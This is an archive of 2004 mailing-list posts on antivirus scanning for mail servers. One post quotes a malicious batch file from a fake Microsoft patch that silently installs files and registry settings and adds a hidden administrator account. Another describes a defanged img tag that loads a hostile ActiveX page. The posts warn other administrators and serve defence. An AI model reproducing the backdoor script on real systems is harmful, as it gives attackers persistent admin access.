[Declude.Virus] New virus?

2004-05-04 Thread Adrian Hauri
I've just received a fake microsoft email with a 744kb patch attached.
It was not detected by my Norton, not by F-Prot, nor AVG or McAffee.

In this patch it has a start batch file which does this:

@echo off
copy _sys1.cab %windir%\system32\raddrv.dll
cls
copy _user1.cab %windir%\system32\admdll.dll
cls
copy data1.cab %windir%\system32\cmdll32.exe
cls
copy layout.bin %windir%\system32\settings.reg
cls
copy MSCOMCTL.OCX %windir%\system32\MSCOMCTL.OCX
cls
regedit.exe /s %windir%\system32\settings.reg
net user system_support {u-r-fucked} /ADD /ACTIVE:YES /EXPIRES:NEVER
/TIMES:ALL
net localgroup "Administrators" "system_support" /ADD
cls
UPDATE.EXE
cls
exit

I've attached the email without the virus so you can have a look at it.

[Declude.Virus] Dangerous img dynsrc tag in body

2004-04-20 Thread Adrian Hauri
Just for your information:

We received a couple of Spam emails (fake ebay notifications) with the
following dangerous tag in the body:

http://68.192.132.122_:8067/')>
(I added the _ at the end so it doesn't harm anyone)

As soon as you open the email, the window will open the url.
The website hosts a dangerous ActiveX script that gets executed as soon as
you open the website.

The Antivirus(F-prot, AVG, McAfee) did not find a virus in the email and let
it through because it's just a html tag.

I added a body filter that searches for "http://www.declude.com)]

Re: [Declude.Virus] Faster second scanner needed

2004-03-30 Thread Adrian Hauri



My AV scanners are running a bit slower than 
yours because the server is not very new and fancy and we do not have that 
much traffic:
 
PIII 666
256MB Ram
IDE Raid1 with old 2x30GB HD (2-3years 
old)
 
 
I guess with Raid10, new HD, dual P4 and more ram 
this would speed it up 10x.
Anyway, the proportions in the time consumption 
should be similar.

  Adrian,This is helpful, however the control is 
  different as mine was based on the 32 bit version of F-Prot 
  (fpcmd.exe).It appears from your logs that 16 bit F-Prot beat out 
  32-bit McAfee by 50% or more.  I'm not sure if the F-Prot being 16 bit 
  had all that much effect, but one would expect for it to be slower than the 32 
  bit version.  On my system, F-Prot can detect a virus in about 0.1 
  seconds, and the 32-bit version of AVG takes about 0.4 seconds (standard 30 KB 
  Netsky/Bagle variants during low load).Note that most of the delay 
  with AVG in 16-bit mode is that it runs within NTVDM.  This goes away 
  when you switch to the 32-bit version 7 which now supports the error codes 
  that Declude uses.  The switch though didn't seem to do much to the 
  processor utilization, however the wider window does keep more concurrent 
  processes open at the same time and that isn't 
  optimal.Thanks,MattAdrian Hauri wrote:

As I continue to research opportunities for increasing efficiency in
order to extend the life of my current environment, I have identified
AVG Anti-Virus as one of the biggest processor hogs, and holder of the
most opportunity.  F-Prot is 4 times faster, and maybe more efficient
than that when it comes to processor utilization.  Outside of
efficiency, AVG has proven to be a good second scanner, and this should
only be an issue if you are approaching the capacity of your
environment.  With AVG commented out and only F-Prot running, the peaks
are much shorter and much lower, but I can ride 100% for over 5 seconds
several times a minute during rush hours with both scanners enabled.

Everything that I've read about Kaspersky seems to indicate that they
are the fastest at detecting new viruses, but their "File Server"
edition costs $370 retail, and 70% of that yearly.  I suppose that I
might be able to find this much cheaper through a wholesaleing source.

My main concern though is efficiency, and I would take an average
scanner if it was the most efficient over the best scanner if it was
average in terms of efficiency.  If anyone has some first hand knowledge
concerning efficiency of any of the scanners, please let me know.  I
believe this can be tracked by doing the following if you use F-Prot as
one of two or more scanners:

1) Change to LOGLEVEL DEBUG in your Virus.config
2) Wait for three viruses to be blocked (not 1K ECAIR tests, the
real deal).
3) Change your LOGLEVEL back to it's normal setting.
4) Compare the times logged for each scanner (you can post them here
or E-mail them to me and I would be happy to decipher)

I would imagine that with most 32 bit scanners, the difference in time
will be directly related to the processing power required to run the
scanner, or at least that holds true for the comp

AVG takes about 4 seconds to fire up the AV Engine and scan. I'm running the
16bit version 6 of AVG.
I would recommend you to use McAfee. I use version 4.32 for more than a year

Re: [Declude.Virus] W32.Beagle.J@mm cannot be caught

2004-03-09 Thread Adrian Hauri
Please read the old posts about this problem.

Short Summary:
Antivirus programs and declude can't open password protected zip files
(F-Prot, McAfee, AVG) unless they try to find a password within the email
and use this to unlock the zip file (Kapersky). Some Virus scanners block
password protected zip files in general and declare them as a Virus
(Symantec/Norton AV) even they couldn't scan within the zip file.

Scott added the feature BANEXT EZIP in the interim release >= i8 to block
all password protected zip files on the server with declude.

Interim release http://www.declude.com/interim .

(I would recommend you to install a second AV because it took F-Prot too
long to update their definitions the last few month)

[Declude.Virus] Does anyone have a AVG V6.0 Update script?

2004-02-26 Thread Adrian Hauri



Has anyone an AVG V6.0 update script that can be 
run as a batch file? 
There is a V7.0 batch 
file available which doesn't work for version 6.0 .
 
I would like to update AVG V6.0 several times 
a day. The built-in updater and scheduler is crap and doesn't work when you are 
not logged in. Also it can run just once within 24h.
 
Thanks for your help.

Re: [Declude.Virus] AVG V6 much slower than FProt and McAfee

>Currently only the 16-bit version works with Declude, the 32-bit version

>16-bit apps have a big performance hit because they run under NTVDM.

I think it's not a 16Bit/32Bit issue. My F-Prot runs also in the 16bit Dos
Version and is much faster than AVG.
(I tested it Communigate Pro and not with Imail/Declude)

Try to run AVG from the command line and then you know what I mean.
Type this at the command promt: C:\Progra~1\Grisoft\AVG6\avg.exe /NOMEM
/NOSELF /ARC /REPORT=report.txt *.123
The scanning itself takes less than 1sec, but the startup takes 2seconds.

When AVG starts up, it also shows the following:
AVG_6_0_Dos32_Init (c) GRISOFT,
s.r.o,1999-2003

Does it mean that it runs in 32bit mode or does it just detect a 32bit dos
environment?

It takes AVG approx. 3 seconds to start up before scanning compared to 1

just the start-up.

Is this normal? Has anyone else the same performance problem?
